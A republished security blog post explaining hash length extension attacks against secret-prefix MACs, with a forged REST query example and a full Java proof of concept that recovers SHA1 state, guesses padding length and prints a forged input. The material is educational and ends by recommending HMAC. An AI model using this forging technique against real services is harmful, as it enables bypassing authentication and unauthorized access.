Hash length extension attacks are nothing complicated or high sophisticated, to be honest it is just about how to use hash functions. As discussed in one of my former posts there are multiple types of hash functions, but this post focuses on cryptographic hash functions. We are not going to analyze the structure of Merkle–Damgard constructions, which the majority of current cryptographic hash functions are based on. The necessary facts to know are the followings:
- hash functions operate on fixed block sizes
- input data is split into to parts to fit the block size
- if input data (or one of its part) is smaller than block size, the missing bytes are padded
- the hash value represents the internal state of the hash function!
This implies the option to continue the hash computation with the knowledge of the hash value, even if the original input remains unknown. The only thing that has to be done is to reset the internal state of the hash function to the one of the hash value.
This is just half the truth, since if we aren’t aware of the input data, we have no clue how much padding was needed to complete the hash operation.
The hash function did the following (after a call to e.g. in Java engineDigest()):
continue until the last block is reached
- pad the last block
- output the digest
- reset the internal state
What really has been hashed was something like this
h(m) = data + padding
If we would like to continue the hash we have to guess the length of data to determine exactly the padding. Once we guessed the length right we can extend the hash to the following
h(m) = (data + padding) + ourExtension + newPadding
Fortunately the padding format has to be deterministic (in order to recreate the hash value by passing the same input data), so knowing the length of data enables the recreation of the padding. After performing these steps we have the complete internal state of the hash function when outputting the digest.
How to use this
In 2009 Rizzo and Duong used a hash length extension attack to compromise Flickr. For the sake of simplicity let’s make the following assumption:
A Web Service protects their REST API by computing some kind of Message Authentication Code (MAC) based on a hash function
MAC = h(SECRET_PASSWORD + Resource)
A valid REST query to a protected resource looks like this
http://…/someAction?resource=validMACsOnly&mac=xxxxxxxx
A user is only able to perform the desired action on the resource if the attached MAC is valid. Attacking this seems to be a brute force task by trying to guess the secret password…
Attack
With the knowledge how to extend a hash value it is possible to provide a valid MAC without knowing the secret password. For this to work it is necessary to reset the used hash function with the internal state when outputting the digest. Therefore we set the value of the mac parameter as the internal state of the hash function. With these preconditions we are able to compute a valid MAC.
But that’s just half the way, since the server only grants access if the computed MAC belongs to the passed parameters of resource. So, as a next step we have to guess the original padding. To get that padding we simply try all possible paddings until one of them fits.
If we manage to get the padding right we are done. After the old padding (which was necessary to fill the block of the known block size) we start, as a consequence, in a new block. So the server verifies the following
h(m) = (oldData + recoveredPadding) + (ourExtension + newPadding) Remember h(m) = (oldData + recoveredPadding) is the old data that lead to the known MAC. The extended data starts in a new block, this means the old padding is considered to be part of the input data, not a padding at all.
And here is how the modified query looks like:
http://…/someAction?resource=validMACsOnly\x80\x00…\x00\x00\x00\x00\x00\x00\x00\xD8&mac=xxxxxxxx
Some words on the padding:
- the padding starts with \x80
- the needed padding space is filled with \x00s
- the last 8 bytes represent the data length in bits (without padding)
Code
For every one eager to play with this, here is the code to compute valid extensions. For PoC a common SHA1 library was patched to gain access to its internal state. The modified class is taken from a Java Security Provider.
001 002 003 004 005 006 007 008 009 010 011 012 013 014 015 016 017 018 019 020 021 022 023 024 025 026 027 028 029 030 031 032 033 034 035 036 037 038 039 040 041 042 043 044 045 046 047 048 049 050 051 052 053 054 055 056 057 058 059 060 061 062 063 064 065 066 067 068 069 070 071 072 073 074 075 076 077 078 079 080 081 082 083 084 085 086 087 088 089 090 091 092 093 094 095 096 097 098 099 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 | import java.nio.charset.Charset;import java.security.DigestException;import java.util.Formatter;/** * Hash length extension attack - PoC. * * @author Christopher Meyer - christopher.meyer@rub.de * @version 0.1 * * Jul 25, 2012 */public class HashLengthExtension { /** * Secret key. */ private static final String KEY = "NoNeedToRecoverKey"; /** * String to be MACed together with the key. */ private static final String TOMAC = "SecuredResource"; /** * Extension string to be added to the MAC. */ private static final String EXTENSION = "TheResourceRemainsUnsecured"; /** * Static Hash algorithm instance. */ private static final SHA1 HASH_ALGO = new SHA1(); /** * Blocksize of the algorithm in bytes. */ private static final int BLOCKSIZE = 64; /** * Padding. */ private static final byte[] PADDING = new byte[136]; static { // the first padding byte is 0x80 - by definition PADDING[0] = (byte) 0x80; } /** * Computes a valid input that extends a given hash. * * @param args the command line arguments */ public static void main(String[] args) throws DigestException { byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8")); byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8")); byte[] originalMAC = createMAC(toMACBytes); System.out.println("Original MAC : " + buildHexString(originalMAC)); byte[] macCandidate; byte[] hashInput; int pointer = 0; System.out.println("Recover digest state..."); HASH_ALGO.engineReset(); // set internal state to the one of the original MAC HASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1], originalMAC[2], originalMAC[3]); HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5], originalMAC[6], originalMAC[7]); HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9], originalMAC[10], originalMAC[11]); HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13], originalMAC[14], originalMAC[15]); HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17], originalMAC[18], originalMAC[19]); HASH_ALGO.bytesProcessed = BLOCKSIZE; System.out.println("Compute extension MAC..."); HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length); // compute the extended hash macCandidate = HASH_ALGO.engineDigest(); System.out.println("Extended MAC : " + buildHexString(macCandidate)); System.out.println("Trying to find suitable input...."); // determine the necessary input.... int j = 0; for (int i = 1; i <= PADDING.length; i++) { hashInput = new byte[toMACBytes.length + i + 8 + extensionBytes.length]; pointer = 0; /** * Compute new input */ // # add original message System.arraycopy(toMACBytes, 0, hashInput, pointer, toMACBytes.length); pointer += toMACBytes.length; // # add padding System.arraycopy(PADDING, 0, hashInput, pointer, i); pointer += i; // # add length of user data (8 bytes) // j is the computed length of the original message in bits // (blockSize - padding length - 8 length bytes) j = (BLOCKSIZE - i - 8) << 3; // the first word is 0 in our case, due to only 32 bit int hashInput[pointer] = 0; hashInput[pointer + 1] = 0; hashInput[pointer + 2] = 0; hashInput[pointer + 3] = 0; hashInput[pointer + 4] = (byte) ((j >>> 24)); hashInput[pointer + 5] = (byte) ((j >>> 16)); hashInput[pointer + 6] = (byte) ((j >>> 8)); hashInput[pointer + 7] = (byte) (j); pointer += 8; // # add extension System.arraycopy(extensionBytes, 0, hashInput, pointer, extensionBytes.length); pointer += extensionBytes.length; // # check guess if (isMACCorrect(macCandidate, hashInput)) { System.out.println("==> Hash input : " + buildHexString(hashInput)); System.out.println("==> Padding Length: " + i); System.out.println("==> Secret Length : " + (BLOCKSIZE - toMACBytes.length - i - 8)); break; } } } /** * Convert a byte[] to int. * * @param bytes 4 bytes array to be converted * @return Integer representation of the byte[] */ private static int bytesToInt(byte... bytes) { return (int) ((0xFF & bytes[0]) << 24 | (0xFF & bytes[1]) << 16 | (0xFF & bytes[2]) << 8 | (0xFF & bytes[3])); } /** * Checks if the input results creates the expected MAC. * * @param macToCheck Expected MAC * @param msg Modified input for MAC function (secret key remains unknown) * @return True if the modified input creates the expected MAC * @throws DigestException */ private static final boolean isMACCorrect(final byte[] macToCheck, final byte[] msg) throws DigestException { boolean result = true; byte[] referenceHash = createMAC(msg); System.out.println("Reference hash: " + buildHexString(referenceHash)); if (referenceHash.length != macToCheck.length) { result = false; } else { for (int i = 0; i < referenceHash.length; i++) { if (referenceHash[i] != macToCheck[i]) { result = false; break; } } } return result; } /** * Converts a byte[] to its Hex representation * @param bytes Bytes to be converted * @return Hex String of the passed byte[]. */ private static String buildHexString(byte[] bytes) { StringBuilder sb = new StringBuilder(bytes.length); Formatter formatter = new Formatter(sb); for (Byte tmpByte : bytes) { formatter.format("%02x ", tmpByte); } return sb.toString(); } /** * Creates a weak MAC of the form h(secret + msg). * * @param msg Message to get MACed * @return Weak MAC * @throws DigestException */ private static final byte[] createMAC(final byte[] msg) throws DigestException { byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8")); HASH_ALGO.engineReset(); HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length); HASH_ALGO.engineUpdate(msg, 0, msg.length); return HASH_ALGO.engineDigest(); }} |
Running the exmaple above creates the following output:
run:
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | Original MAC : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 Recover digest state...Compute extension MAC...Extended MAC : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 Trying to find suitable input....Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 ==> Hash input : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 6564 ==> Padding Length: 23==> Secret Length : 18 |
Using URL encoding the resulting String from hashInput is SecuredResource%80%01%08TheResourceRemainsUnsecured, the original resource, 23 padding bytes (including the %80), 8 length bytes and the new resource. Thus we get (64 bytes block size – 23 padding bytes – 8 length bytes) * 8 bit = 264 bit original data (secret + resource) == 01 08 in Hex representation.
Lessons learned
Don’t misuse cryptography by creating your own secure constructs. Use well approved functions and constructs. In this case using an HMAC function would have been the better approach instead of introducing an own MAC.
A very good blog entry on this topic can be found at WhiteHat Security Blog.
Reference: Hash Length Extension Attacks from our JCG partner Christopher Meyer at the Java security and related topics blog.
